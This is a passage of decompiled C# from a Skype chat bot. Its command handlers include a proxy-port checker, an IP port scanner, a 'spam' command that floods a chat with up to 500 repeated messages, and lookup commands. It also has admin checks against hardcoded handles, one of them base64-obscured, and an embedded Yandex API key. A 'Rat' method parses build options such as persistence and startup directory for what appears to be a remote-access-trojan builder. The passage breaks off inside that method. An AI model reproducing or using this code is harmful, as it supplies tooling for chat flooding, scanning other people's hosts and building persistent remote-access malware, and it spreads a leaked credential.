  6447.                                                                                         chatMessage15.Body = "Initializing...";
  6448.                                                                                         string text87 = closure$__.$VB$Local_msg.Body.Replace("vpncheck ", "");
  6449.                                                                                         text87 = text87.Replace("!", "");
  6450.                                                                                         flag2 = text87.Contains(":");
  6451.                                                                                         if (flag2)
  6452.                                                                                         {
  6453.                                                                                             string[] array32 = text87.Split(new char[]
  6454.                                                                                             {
  6455.                                                                                                 ' '
  6456.                                                                                             });
  6457.                                                                                             text87 = array32[0];
  6458.                                                                                             flag2 = (Operators.CompareString(text87, "", true) == 0 | Operators.CompareString(text87, " ", true) == 0 | Operators.CompareString(text87, string.Empty, true) == 0);
  6459.                                                                                             if (flag2)
  6460.                                                                                             {
  6461.                                                                                                 text87 = array32[1];
  6462.                                                                                             }
  6463.                                                                                         }
  6464.                                                                                         flag2 = (Operators.CompareString(text87, "", true) == 0 | Operators.CompareString(text87, " ", true) == 0 | Operators.CompareString(text87, string.Empty, true) == 0);
  6465.                                                                                         if (flag2)
  6466.                                                                                         {
  6467.                                                                                             this.AddSwagToMSG(closure$__.$VB$Local_msg, "Invalid IP/Syntax, make sure you didn't enter useless spaces.", 0);
  6468.                                                                                             return;
  6469.                                                                                         }
  6470.                                                                                         WebClient webClient18 = new WebClient();
  6471.                                                                                         webClient18.Proxy = null;
  6472.                                                                                         WebClient webClient19 = new WebClient();
  6473.                                                                                         webClient19.Proxy = null;
  6474.                                                                                         this.AddSwagToMSG(chatMessage15, "Checking for proxy...", 0);
  6475.                                                                                         string value6 = Conversions.ToString(this.proxycheck(text87));
  6476.                                                                                         flag2 = Conversions.ToBoolean(value6);
  6477.                                                                                         if (flag2)
  6478.                                                                                         {
  6479.                                                                                             this.AddSwagToMSG(chatMessage15, "Proxy Detected", 0);
  6480.                                                                                         }
  6481.                                                                                         else
  6482.                                                                                         {
  6483.                                                                                             this.AddSwagToMSG(chatMessage15, "Proxy Not Detected", 0);
  6484.                                                                                         }
  6485.                                                                                     }
  6486.                                                                                     flag2 = (Operators.CompareString(text, "paste", true) == 0);
  6487.                                                                                     if (flag2)
  6488.                                                                                     {
  6489.                                                                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "paste <text>");
  6490.                                                                                     }
  6491.                                                                                     flag2 = text.StartsWith("paste ");
  6492.                                                                                     if (flag2)
  6493.                                                                                     {
  6494.                                                                                         ChatMessage msg55 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  6495.                                                                                         this.AddSwagToMSG(msg55, Conversions.ToString(this.paste(text.Replace("paste ", ""), "Untitled")), 0);
  6496.                                                                                     }
  6497.                                                                                     flag2 = (Operators.CompareString(text, "scan", true) == 0);
  6498.                                                                                     if (flag2)
  6499.                                                                                     {
  6500.                                                                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "scan <ip>");
  6501.                                                                                     }
  6502.                                                                                     flag2 = text.StartsWith("scan ");
  6503.                                                                                     if (flag2)
  6504.                                                                                     {
  6505.                                                                                         ChatMessage msg56 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  6506.                                                                                         this.AddSwagToMSG(msg56, Conversions.ToString(Operators.ConcatenateObject("Open Ports:\r\n", this.portscan(text.Replace("!", "").Replace("scan ", "")))), 0);
  6507.                                                                                     }
  6508.                                                                                     flag2 = (Operators.CompareString(text, "number", true) == 0);
  6509.                                                                                     if (flag2)
  6510.                                                                                     {
  6511.                                                                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "number <integer>");
  6512.                                                                                     }
  6513.                                                                                     flag2 = text.StartsWith("number ");
  6514.                                                                                     if (flag2)
  6515.                                                                                     {
  6516.                                                                                         string str15 = text.Replace("number ", "");
  6517.                                                                                         ChatMessage msg57 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  6518.                                                                                         WebClient webClient20 = new WebClient();
  6519.                                                                                         webClient20.Proxy = null;
  6520.                                                                                         try
  6521.                                                                                         {
  6522.                                                                                             string text88 = webClient20.DownloadString("http://numbersapi.com/" + str15);
  6523.                                                                                             this.AddSwagToMSG(msg57, text88, 0);
  6524.                                                                                             flag2 = text88.Contains("is an unremarkable number.");
  6525.                                                                                             if (flag2)
  6526.                                                                                             {
  6527.                                                                                                 this.AddSwagToMSG(msg57, "Number not in database, Sorry!", 0);
  6528.                                                                                             }
  6529.                                                                                         }
  6530.                                                                                         catch (Exception expr_71FA)
  6531.                                                                                         {
  6532.                                                                                             ProjectData.SetProjectError(expr_71FA);
  6533.                                                                                             this.AddSwagToMSG(msg57, "Invalid number!", 0);
  6534.                                                                                             ProjectData.ClearProjectError();
  6535.                                                                                         }
  6536.                                                                                     }
  6537.                                                                                     flag2 = (Operators.CompareString(text, "year", true) == 0);
  6538.                                                                                     if (flag2)
  6539.                                                                                     {
  6540.                                                                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "year <integer>");
  6541.                                                                                     }
  6542.                                                                                     flag2 = text.StartsWith("year ");
  6543.                                                                                     if (flag2)
  6544.                                                                                     {
  6545.                                                                                         string str16 = text.Replace("year ", "");
  6546.                                                                                         ChatMessage msg58 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  6547.                                                                                         WebClient webClient21 = new WebClient();
  6548.                                                                                         webClient21.Proxy = null;
  6549.                                                                                         try
  6550.                                                                                         {
  6551.                                                                                             string text89 = webClient21.DownloadString("http://numbersapi.com/" + str16 + "/year");
  6552.                                                                                             this.AddSwagToMSG(msg58, text89, 0);
  6553.                                                                                             flag2 = text89.Contains("is an unremarkable number.");
  6554.                                                                                             if (flag2)
  6555.                                                                                             {
  6556.                                                                                                 this.AddSwagToMSG(msg58, "Number not in database, Sorry!", 0);
  6557.                                                                                             }
  6558.                                                                                         }
  6559.                                                                                         catch (Exception expr_7313)
  6560.                                                                                         {
  6561.                                                                                             ProjectData.SetProjectError(expr_7313);
  6562.                                                                                             this.AddSwagToMSG(msg58, "Invalid number!", 0);
  6563.                                                                                             ProjectData.ClearProjectError();
  6564.                                                                                         }
  6565.                                                                                     }
  6566.                                                                                     flag2 = (Operators.CompareString(text, "fact", true) == 0);
  6567.                                                                                     if (flag2)
  6568.                                                                                     {
  6569.                                                                                         ChatMessage msg59 = closure$__.$VB$Local_msg.Chat.SendMessage("Finding a nice fact...");
  6570.                                                                                         this.AddSwagToMSG(msg59, new WebClient
  6571.                                                                                         {
  6572.                                                                                             Proxy = null
  6573.                                                                                         }.DownloadString("http://apis.skypebot.ga/apis/Random_Fact.php?auth=True").Replace("<br>", "").Replace("<i>", "").Replace("<head/>", ""), 0);
  6574.                                                                                     }
  6575.                                                                                     flag2 = (Operators.CompareString(text, "joke", true) == 0);
  6576.                                                                                     if (flag2)
  6577.                                                                                     {
  6578.                                                                                         ChatMessage msg60 = closure$__.$VB$Local_msg.Chat.SendMessage("Finding a funny joke...");
  6579.                                                                                         this.AddSwagToMSG(msg60, new WebClient
  6580.                                                                                         {
  6581.                                                                                             Proxy = null
  6582.                                                                                         }.DownloadString("http://apis.skypebot.ga/apis/Random_funny_jokes.php?auth=True").Replace(MySettingsProperty.Settings.joketemp, "").Replace("<br>", "").Replace("<head/>", ""), 0);
  6583.                                                                                     }
  6584.                                                                                     flag2 = (Operators.CompareString(text, "quote", true) == 0);
  6585.                                                                                     if (flag2)
  6586.                                                                                     {
  6587.                                                                                         ChatMessage msg61 = closure$__.$VB$Local_msg.Chat.SendMessage("Finding a famous quote...");
  6588.                                                                                         WebClient webClient22 = new WebClient();
  6589.                                                                                         this.AddSwagToMSG(msg61, webClient22.DownloadString("http://apis.skypebot.ga/apis/Famous_Quotes.php?auth=True").Replace("<i>", "").Replace("<br>", "").Replace("<head/>", ""), 0);
  6590.                                                                                     }
  6591.                                                                                     flag2 = (Operators.CompareString(text, "unshorten", true) == 0);
  6592.                                                                                     if (flag2)
  6593.                                                                                     {
  6594.                                                                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "unshorten <url>");
  6595.                                                                                     }
  6596.                                                                                     flag2 = text.StartsWith("unshorten ");
  6597.                                                                                     if (flag2)
  6598.                                                                                     {
  6599.                                                                                         string text90 = text.Replace("unshorten ", "");
  6600.                                                                                         ChatMessage msg62 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  6601.                                                                                         string text91 = Conversions.ToString(this.DL("http://api.unshort.tk/?u=" + text90));
  6602.                                                                                         flag2 = (Operators.CompareString(text91, "[]", true) == 0);
  6603.                                                                                         if (flag2)
  6604.                                                                                         {
  6605.                                                                                             this.AddSwagToMSG(msg62, "Invalid URI, please recheck!", 0);
  6606.                                                                                             return;
  6607.                                                                                         }
  6608.                                                                                         text91 = text91.Replace("\\/", "/").Replace(text90, "").Replace("}", "").Replace(MySettingsProperty.Settings.prf, "").Replace(" ", "%20");
  6609.                                                                                         text91 = text91.Substring(0, text91.Length - 1);
  6610.                                                                                         flag2 = (Operators.CompareString(text91, "", true) == 0);
  6611.                                                                                         if (flag2)
  6612.                                                                                         {
  6613.                                                                                             this.AddSwagToMSG(msg62, "Not unshortenable!", 0);
  6614.                                                                                             return;
  6615.                                                                                         }
  6616.                                                                                         this.AddSwagToMSG(msg62, text91, 0);
  6617.                                                                                     }
  6618.                                                                                     flag2 = (Operators.CompareString(text, "join", true) == 0);
  6619.                                                                                     if (flag2)
  6620.                                                                                     {
  6621.                                                                                         closure$__.$VB$Local_msg.Chat.SendMessage("Click here:\r\n" + MySettingsProperty.Settings.cht);
  6622.                                                                                     }
  6623.                                                                                     flag2 = (Operators.CompareString(text, "yt2mp3", true) == 0);
  6624.                                                                                     if (flag2)
  6625.                                                                                     {
  6626.                                                                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "yt2mp3 <url>");
  6627.                                                                                     }
  6628.                                                                                     flag2 = text.StartsWith("yt2mp3 ");
  6629.                                                                                     if (flag2)
  6630.                                                                                     {
  6631.                                                                                         string text92 = text.Replace("yt2mp3 ", "");
  6632.                                                                                         WebClient webClient23 = new WebClient();
  6633.                                                                                         webClient23.Proxy = null;
  6634.                                                                                         ChatMessage msg63 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  6635.                                                                                         string urltoshrt = "http://youtubeinmp3.com/fetch/?video=" + text92;
  6636.                                                                                         flag2 = (text92.Contains("watch?v=") & text92.Contains("http"));
  6637.                                                                                         if (flag2)
  6638.                                                                                         {
  6639.                                                                                             this.AddSwagToMSG(msg63, Conversions.ToString(Operators.ConcatenateObject("Direct download: ", this.shorten(urltoshrt))), 0);
  6640.                                                                                         }
  6641.                                                                                         else
  6642.                                                                                         {
  6643.                                                                                             this.AddSwagToMSG(msg63, "Invalid link", 0);
  6644.                                                                                         }
  6645.                                                                                     }
  6646.                                                                                 }
  6647.                                                                             }
  6648.                                                                         }
  6649.                                                                     }
  6650.                                                                 }
  6651.                                                             }
  6652.                                                         }
  6653.                                                     }
  6654.                                                 }
  6655.                                             }
  6656.                                         }
  6657.                                     }
  6658.                                 }
  6659.                             }
  6660.                         }
  6661.                     }
  6662.                 }
  6663.                 catch (Exception expr_77BE)
  6664.                 {
  6665.                     ProjectData.SetProjectError(expr_77BE);
  6666.                     Exception ex4 = expr_77BE;
  6667.                     bool flag2 = ex4.ToString().Contains("IndexOutOfRangeException") | ex4.ToString().ToLower().Contains("index");
  6668.                     if (flag2)
  6669.                     {
  6670.                         string[] array33 = closure$__.$VB$Local_msg.Body.Split(new char[]
  6671.                         {
  6672.                             ' '
  6673.                         });
  6674.                         ChatMessage msg64 = closure$__.$VB$Local_msg.Chat.SendMessage("An error occured while giving you an error!");
  6675.                         this.AddSwagToMSG(msg64, Conversions.ToString(Operators.ConcatenateObject("Error: Please check your syntax (!help " + array33[0].Replace("!", "") + ")" + "\r\n", this.paste(string.Concat(new string[]
  6676.                         {
  6677.                             "Host: ",
  6678.                             this.Skypattach.CurrentUserHandle,
  6679.                             "\r\nSender: ",
  6680.                             closure$__.$VB$Local_msg.Sender.Handle,
  6681.                             "\r\nCmd: ",
  6682.                             closure$__.$VB$Local_msg.Body,
  6683.                             "\r\nError: ",
  6684.                             ex4.ToString()
  6685.                         }), "Error!"))), 0);
  6686.                     }
  6687.                     else
  6688.                     {
  6689.                         ChatMessage msg65 = closure$__.$VB$Local_msg.Chat.SendMessage("An error occured while giving you an error!");
  6690.                         this.AddSwagToMSG(msg65, Conversions.ToString(Operators.ConcatenateObject("An error occured, please report to skype:les.de?chat : \r\n", this.paste(string.Concat(new string[]
  6691.                         {
  6692.                             "Host: ",
  6693.                             this.Skypattach.CurrentUserHandle,
  6694.                             "\r\nSender: ",
  6695.                             closure$__.$VB$Local_msg.Sender.Handle,
  6696.                             "\r\nCmd: ",
  6697.                             closure$__.$VB$Local_msg.Body,
  6698.                             "\r\nError: ",
  6699.                             ex4.ToString()
  6700.                         }), "Error!"))), 0);
  6701.                     }
  6702.                     ProjectData.ClearProjectError();
  6703.                 }
  6704.             }
  6705.         }
  6706.         public object proxycheck(string ip)
  6707.         {
  6708.             string text = "80 8080 8123 3128 54321 3129 18186 7808 8081";
  6709.             string[] array = text.Split(new char[]
  6710.             {
  6711.                 ' '
  6712.             });
  6713.             int arg_26_0 = 0;
  6714.             checked
  6715.             {
  6716.                 int num = array.Length - 1;
  6717.                 int num2 = arg_26_0;
  6718.                 while (true)
  6719.                 {
  6720.                     int arg_5E_0 = num2;
  6721.                     int num3 = num;
  6722.                     if (arg_5E_0 > num3)
  6723.                     {
  6724.                         goto Block_2;
  6725.                     }
  6726.                     bool flag = Operators.ConditionalCompareObjectEqual(this.isportopen(ip, array[num2]), true, true);
  6727.                     if (flag)
  6728.                     {
  6729.                         break;
  6730.                     }
  6731.                     num2++;
  6732.                 }
  6733.                 object result = true;
  6734.                 return result;
  6735.                 Block_2:
  6736.                 result = false;
  6737.                 return result;
  6738.             }
  6739.         }
  6740.         public object DL(string url)
  6741.         {
  6742.             return new WebClient
  6743.             {
  6744.                 Proxy = null
  6745.             }.DownloadString(url);
  6746.         }
  6747.         public void spam(ChatMessage msg)
  6748.         {
  6749.             try
  6750.             {
  6751.                 bool flag = Operators.CompareString(msg.ChatName, "#dimabal10000/$be5e245309b3d76a", true) == 0 | Operators.CompareString(msg.ChatName, "#zigi.bot/$7582f4644528febf", true) == 0;
  6752.                 if (flag)
  6753.                 {
  6754.                     msg.Chat.SendMessage("Nope, this group is anti spam...");
  6755.                 }
  6756.                 else
  6757.                 {
  6758.                     string text = msg.Body.Remove(0, this.trigger.Length);
  6759.                     string text2 = text.Replace("spam ", "");
  6760.                     string text3 = text2;
  6761.                     string[] array = text3.Split(new char[]
  6762.                     {
  6763.                         ' '
  6764.                     });
  6765.                     string text4 = array[1];
  6766.                     flag = Versioned.IsNumeric(array[0]);
  6767.                     if (flag)
  6768.                     {
  6769.                         bool flag2 = Conversions.ToDouble(array[0]) > 500.0;
  6770.                         if (flag2)
  6771.                         {
  6772.                             array[0] = Conversions.ToString(500);
  6773.                         }
  6774.                         int arg_E9_0 = 2;
  6775.                         double arg_12D_0;
  6776.                         checked
  6777.                         {
  6778.                             int num = array.Length - 1;
  6779.                             int num2 = arg_E9_0;
  6780.                             while (true)
  6781.                             {
  6782.                                 int arg_10E_0 = num2;
  6783.                                 int num3 = num;
  6784.                                 if (arg_10E_0 > num3)
  6785.                                 {
  6786.                                     break;
  6787.                                 }
  6788.                                 text4 = text4 + " " + array[num2];
  6789.                                 num2++;
  6790.                             }
  6791.                             arg_12D_0 = 1.0;
  6792.                         }
  6793.                         double num4 = Conversions.ToDouble(array[0]) - 0.0;
  6794.                         double num5 = arg_12D_0;
  6795.                         while (true)
  6796.                         {
  6797.                             double arg_174_0 = num5;
  6798.                             double num6 = num4;
  6799.                             if (arg_174_0 > num6)
  6800.                             {
  6801.                                 break;
  6802.                             }
  6803.                             msg.Chat.SendMessage(text4.Replace("/", "").Replace("!", ""));
  6804.                             num5 += 1.0;
  6805.                         }
  6806.                     }
  6807.                     else
  6808.                     {
  6809.                         msg.Chat.SendMessage("ERROR: You entered an invalid number, try to swap the number and msg!");
  6810.                     }
  6811.                 }
  6812.             }
  6813.             catch (Exception expr_17B)
  6814.             {
  6815.                 ProjectData.SetProjectError(expr_17B);
  6816.                 Exception ex = expr_17B;
  6817.                 bool flag2 = ex.ToString().Contains("IndexOutOfRangeException");
  6818.                 if (flag2)
  6819.                 {
  6820.                     string[] array2 = msg.Body.Split(new char[]
  6821.                     {
  6822.                         ' '
  6823.                     });
  6824.                     ChatMessage msg2 = msg.Chat.SendMessage("An error occured while giving you an error!");
  6825.                     this.AddSwagToMSG(msg2, Conversions.ToString(Operators.ConcatenateObject("Error: Please check your syntax (!help " + array2[0].Replace("!", "") + ")" + "\r\n", this.paste(string.Concat(new string[]
  6826.                     {
  6827.                         "Host: ",
  6828.                         this.Skypattach.CurrentUserHandle,
  6829.                         "\r\nSender: ",
  6830.                         msg.Sender.Handle,
  6831.                         "\r\nCmd: ",
  6832.                         msg.Body,
  6833.                         "\r\nError: ",
  6834.                         ex.ToString()
  6835.                     }), "Error!"))), 0);
  6836.                 }
  6837.                 else
  6838.                 {
  6839.                     ChatMessage msg3 = msg.Chat.SendMessage("An error occured while giving you an error!");
  6840.                     this.AddSwagToMSG(msg3, Conversions.ToString(Operators.ConcatenateObject("An error occured, please report to skype:les.de?chat : \r\n", this.paste(string.Concat(new string[]
  6841.                     {
  6842.                         "Host: ",
  6843.                         this.Skypattach.CurrentUserHandle,
  6844.                         "\r\nSender: ",
  6845.                         msg.Sender.Handle,
  6846.                         "\r\nCmd: ",
  6847.                         msg.Body,
  6848.                         "\r\nError: ",
  6849.                         ex.ToString()
  6850.                     }), "Error!"))), 0);
  6851.                 }
  6852.                 ProjectData.ClearProjectError();
  6853.             }
  6854.         }
  6855.         public object IsAdmin(string sender)
  6856.         {
  6857.             bool flag = Operators.CompareString(sender, this.Skypattach.CurrentUserHandle.ToString(), true) == 0 | Operators.CompareString(sender, Encoding.UTF8.GetString(Convert.FromBase64String("bGVzLmRl")), true) == 0 | Operators.CompareString(sender, "chairon.williams", true) == 0 | Operators.CompareString(sender, "ultimatewsz", true) == 0 | Operators.CompareString(sender, "damjan.georgievski2", true) == 0 | Operators.CompareString(sender, "zigidev", true) == 0;
  6858.             checked
  6859.             {
  6860.                 object result;
  6861.                 if (flag)
  6862.                 {
  6863.                     result = true;
  6864.                 }
  6865.                 else
  6866.                 {
  6867.                     string[] array = MySettingsProperty.Settings.admins.Split(new string[]
  6868.                     {
  6869.                         Environment.NewLine
  6870.                     }, StringSplitOptions.None);
  6871.                     int arg_B7_0 = 0;
  6872.                     int num = array.Length - 1;
  6873.                     int num2 = arg_B7_0;
  6874.                     while (true)
  6875.                     {
  6876.                         int arg_E4_0 = num2;
  6877.                         int num3 = num;
  6878.                         if (arg_E4_0 > num3)
  6879.                         {
  6880.                             goto Block_3;
  6881.                         }
  6882.                         flag = array[num2].Contains(sender);
  6883.                         if (flag)
  6884.                         {
  6885.                             break;
  6886.                         }
  6887.                         num2++;
  6888.                     }
  6889.                     result = true;
  6890.                     return result;
  6891.                     Block_3:
  6892.                     result = false;
  6893.                 }
  6894.                 return result;
  6895.             }
  6896.         }
  6897.         public object IsNormalUser(string sender)
  6898.         {
  6899.             bool flag = Conversions.ToBoolean(Operators.AndObject(Operators.AndObject(Operators.CompareObjectEqual(this.IsPremium(sender), false, true), Operators.CompareObjectEqual(this.IsAdmin(sender), false, true)), Operators.CompareObjectEqual(this.IsUltimate(sender), false, true)));
  6900.             object result;
  6901.             if (flag)
  6902.             {
  6903.                 result = true;
  6904.             }
  6905.             else
  6906.             {
  6907.                 result = false;
  6908.             }
  6909.             return result;
  6910.         }
  6911.         public object IsPremium(string sender)
  6912.         {
  6913.             bool flag = this.FlatToggle2.Checked;
  6914.             checked
  6915.             {
  6916.                 object result;
  6917.                 if (flag)
  6918.                 {
  6919.                     flag = (Operators.CompareString(sender, this.Skypattach.CurrentUserHandle.ToString(), true) == 0 | Operators.CompareString(sender, Encoding.UTF8.GetString(Convert.FromBase64String("bGVzLmRl")), true) == 0);
  6920.                     if (flag)
  6921.                     {
  6922.                         result = true;
  6923.                     }
  6924.                     else
  6925.                     {
  6926.                         flag = Conversions.ToBoolean(this.IsAdmin(sender));
  6927.                         if (flag)
  6928.                         {
  6929.                             result = true;
  6930.                         }
  6931.                         else
  6932.                         {
  6933.                             flag = Conversions.ToBoolean(this.IsUltimate(sender));
  6934.                             if (flag)
  6935.                             {
  6936.                                 result = true;
  6937.                             }
  6938.                             else
  6939.                             {
  6940.                                 string[] array = MySettingsProperty.Settings.Premium.Split(new string[]
  6941.                                 {
  6942.                                     Environment.NewLine
  6943.                                 }, StringSplitOptions.None);
  6944.                                 int arg_E8_0 = 0;
  6945.                                 int num = array.Length - 1;
  6946.                                 int num2 = arg_E8_0;
  6947.                                 while (true)
  6948.                                 {
  6949.                                     int arg_115_0 = num2;
  6950.                                     int num3 = num;
  6951.                                     if (arg_115_0 > num3)
  6952.                                     {
  6953.                                         goto Block_6;
  6954.                                     }
  6955.                                     flag = array[num2].Contains(sender);
  6956.                                     if (flag)
  6957.                                     {
  6958.                                         break;
  6959.                                     }
  6960.                                     num2++;
  6961.                                 }
  6962.                                 result = true;
  6963.                                 return result;
  6964.                                 Block_6:
  6965.                                 result = false;
  6966.                             }
  6967.                         }
  6968.                     }
  6969.                 }
  6970.                 else
  6971.                 {
  6972.                     result = true;
  6973.                 }
  6974.                 return result;
  6975.             }
  6976.         }
  6977.         public object IsUltimate(string sender)
  6978.         {
  6979.             bool flag = this.FlatToggle2.Checked;
  6980.             checked
  6981.             {
  6982.                 object result;
  6983.                 if (flag)
  6984.                 {
  6985.                     flag = (Operators.CompareString(sender, this.Skypattach.CurrentUserHandle.ToString(), true) == 0 | Operators.CompareString(sender, Encoding.UTF8.GetString(Convert.FromBase64String("bGVzLmRl")), true) == 0);
  6986.                     if (flag)
  6987.                     {
  6988.                         result = true;
  6989.                     }
  6990.                     else
  6991.                     {
  6992.                         flag = Conversions.ToBoolean(this.IsAdmin(sender));
  6993.                         if (flag)
  6994.                         {
  6995.                             result = true;
  6996.                         }
  6997.                         else
  6998.                         {
  6999.                             string[] array = MySettingsProperty.Settings.Ultimate.Split(new string[]
  7000.                             {
  7001.                                 Environment.NewLine
  7002.                             }, StringSplitOptions.None);
  7003.                             int arg_C3_0 = 0;
  7004.                             int num = array.Length - 1;
  7005.                             int num2 = arg_C3_0;
  7006.                             while (true)
  7007.                             {
  7008.                                 int arg_F0_0 = num2;
  7009.                                 int num3 = num;
  7010.                                 if (arg_F0_0 > num3)
  7011.                                 {
  7012.                                     goto Block_5;
  7013.                                 }
  7014.                                 flag = array[num2].Contains(sender);
  7015.                                 if (flag)
  7016.                                 {
  7017.                                     break;
  7018.                                 }
  7019.                                 num2++;
  7020.                             }
  7021.                             result = true;
  7022.                             return result;
  7023.                             Block_5:
  7024.                             result = false;
  7025.                         }
  7026.                     }
  7027.                 }
  7028.                 else
  7029.                 {
  7030.                     result = true;
  7031.                 }
  7032.                 return result;
  7033.             }
  7034.         }
  7035.         public object translator(string froom, string too, string message)
  7036.         {
  7037.             WebClient webClient = new WebClient();
  7038.             webClient.Proxy = null;
  7039.             string @string = Encoding.UTF8.GetString(webClient.DownloadData(string.Concat(new string[]
  7040.             {
  7041.                 "https://translate.yandex.net/api/v1.5/tr.json/translate?key=trnsl.1.1.20141215T135708Z.ba81e2e1e88ceb3b.01c0238e50401659ba7225b414ed017ee7f523ab&lang=",
  7042.                 froom,
  7043.                 "-",
  7044.                 too,
  7045.                 "&text=",
  7046.                 message.Replace(" ", "+")
  7047.             })));
  7048.             bool flag = @string.Contains("200");
  7049.             object result;
  7050.             if (flag)
  7051.             {
  7052.                 result = @string.Replace(MySettingsProperty.Settings.prf5, "").Replace(Regex.Match(@string.Replace(MySettingsProperty.Settings.prf5, ""), MySettingsProperty.Settings.prf4, RegexOptions.IgnoreCase).Value.ToString(), "");
  7053.             }
  7054.             else
  7055.             {
  7056.                 result = "Error";
  7057.             }
  7058.             return result;
  7059.         }
  7060.         public object banned(string sender)
  7061.         {
  7062.             string[] array = MySettingsProperty.Settings.banlist.Split(new string[]
  7063.             {
  7064.                 Environment.NewLine
  7065.             }, StringSplitOptions.None);
  7066.             int arg_2B_0 = 0;
  7067.             checked
  7068.             {
  7069.                 int num = array.Length - 1;
  7070.                 int num2 = arg_2B_0;
  7071.                 while (true)
  7072.                 {
  7073.                     int arg_58_0 = num2;
  7074.                     int num3 = num;
  7075.                     if (arg_58_0 > num3)
  7076.                     {
  7077.                         goto Block_2;
  7078.                     }
  7079.                     bool flag = array[num2].Contains(sender);
  7080.                     if (flag)
  7081.                     {
  7082.                         break;
  7083.                     }
  7084.                     num2++;
  7085.                 }
  7086.                 object result = true;
  7087.                 return result;
  7088.                 Block_2:
  7089.                 result = false;
  7090.                 return result;
  7091.             }
  7092.         }
  7093.         [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
  7094.         public object Rat(string arguments, string sender)
  7095.         {
  7096.             string[] array = arguments.Split(new char[]
  7097.             {
  7098.                 ' '
  7099.             });
  7100.             bool flag = arguments.StartsWith("build ");
  7101.             checked
  7102.             {
  7103.                 object result;
  7104.                 bool flag2;
  7105.                 if (flag)
  7106.                 {
  7107.                     string text = arguments.Remove(0, 6);
  7108.                     flag = arguments.Remove(0, 5).Contains(" -name=");
  7109.                     if (!flag)
  7110.                     {
  7111.                         result = "No name option, this is required!";
  7112.                         return result;
  7113.                     }
  7114.                     flag = arguments.Remove(0, 5).Contains(" -key=");
  7115.                     if (!flag)
  7116.                     {
  7117.                         result = "No key option, this is required!";
  7118.                         return result;
  7119.                     }
  7120.                     string[] array2 = text.Split(new char[]
  7121.                     {
  7122.                         ' '
  7123.                     });
  7124.                     int arg_B2_0 = 0;
  7125.                     int num = array2.Length - 1;
  7126.                     int num2 = arg_B2_0;
  7127.                     while (true)
  7128.                     {
  7129.                         int arg_DF_0 = num2;
  7130.                         int num3 = num;
  7131.                         if (arg_DF_0 > num3)
  7132.                         {
  7133.                             break;
  7134.                         }
  7135.                         array2[num2] = array2[num2].Replace("-", "");
  7136.                         num2++;
  7137.                     }
  7138.                     string text2 = "";
  7139.                     string text3 = "";
  7140.                     string text4 = "";
  7141.                     int arg_FD_0 = 0;
  7142.                     int num4 = array2.Length - 1;
  7143.                     int num5 = arg_FD_0;
  7144.                     string text5;
  7145.                     while (true)
  7146.                     {
  7147.                         int arg_378_0 = num5;
  7148.                         int num3 = num4;
  7149.                         if (arg_378_0 > num3)
  7150.                         {
  7151.                             goto Block_18;
  7152.                         }
  7153.                         string[] array3 = array2[num5].Split(new char[]
  7154.                         {
  7155.                             '='
  7156.                         });
  7157.                         text5 = array3[0];
  7158.                         string text6 = "";
  7159.                         flag = (array3.Length == 1);
  7160.                         if (flag)
  7161.                         {
  7162.                             text6 = null;
  7163.                         }
  7164.                         else
  7165.                         {
  7166.                             int arg_149_0 = 1;
  7167.                             int num6 = array3.Length - 1;
  7168.                             int num7 = arg_149_0;
  7169.                             while (true)
  7170.                             {
  7171.                                 int arg_18E_0 = num7;
  7172.                                 num3 = num6;
  7173.                                 if (arg_18E_0 > num3)
  7174.                                 {
  7175.                                     break;
  7176.                                 }
  7177.                                 flag = (Operators.CompareString(text6, "", true) == 0);
  7178.                                 if (flag)
  7179.                                 {
  7180.                                     text6 = array3[1];
  7181.                                 }
  7182.                                 else
  7183.                                 {
  7184.                                     text6 = text6 + "=" + array3[num7];
  7185.                                 }
  7186.                                 num7++;
  7187.                             }
  7188.                         }
  7189.                         string left = text5;
  7190.                         flag = (Operators.CompareString(left, "message", true) == 0);
  7191.                         if (flag)
  7192.                         {
  7193.                             flag2 = (Operators.CompareString(text6, null, true) == 0);
  7194.                             if (flag2)
  7195.                             {
  7196.                                 break;
  7197.                             }
  7198.                         }
  7199.                         else
  7200.                         {
  7201.                             flag2 = (Operators.CompareString(left, "persistance", true) == 0);
  7202.                             if (flag2)
  7203.                             {
  7204.                                 flag = (Operators.CompareString(text6, null, true) == 0);
  7205.                                 if (!flag)
  7206.                                 {
  7207.                                     goto IL_204;
  7208.                                 }
  7209.                             }
  7210.                             else
  7211.                             {
  7212.                                 flag2 = (Operators.CompareString(left, "name", true) == 0);
  7213.                                 if (flag2)
  7214.                                 {
  7215.                                     flag = (Operators.CompareString(text6, null, true) == 0);
  7216.                                     if (flag)
  7217.                                     {
  7218.                                         goto Block_12;
  7219.                                     }
  7220.                                     text3 = text6;
  7221.                                 }
  7222.                                 else
  7223.                                 {
  7224.                                     flag2 = (Operators.CompareString(left, "key", true) == 0);
  7225.                                     if (flag2)
  7226.                                     {
  7227.                                         flag = (Operators.CompareString(text6, null, true) == 0);
  7228.                                         if (flag)
  7229.                                         {
  7230.                                             goto Block_14;
  7231.                                         }
  7232.                                         text4 = text6;
  7233.                                     }
  7234.                                     else
  7235.                                     {
  7236.                                         flag2 = (Operators.CompareString(left, "startupdir", true) == 0);
  7237.                                         if (!flag2)
  7238.                                         {
  7239.                                             goto IL_317;
  7240.                                         }
  7241.                                         text6 = text6.Replace("/", "\\");
  7242.                                         flag2 = (Operators.CompareString(text6, null, true) == 0);
  7243.                                         if (flag2)
  7244.                                         {
  7245.                                             goto Block_16;
  7246.                                         }
  7247.                                         flag2 = !text6.EndsWith("\\");
  7248.                                         if (flag2)
  7249.                                         {
  7250.                                             goto Block_17;
  7251.                                         }
  7252.                                     }
  7253.                                 }
  7254.                             }
  7255.                         }
  7256.                         text2 = string.Concat(new string[]
  7257.                         {
  7258.                             text2,
  7259.                             " ",
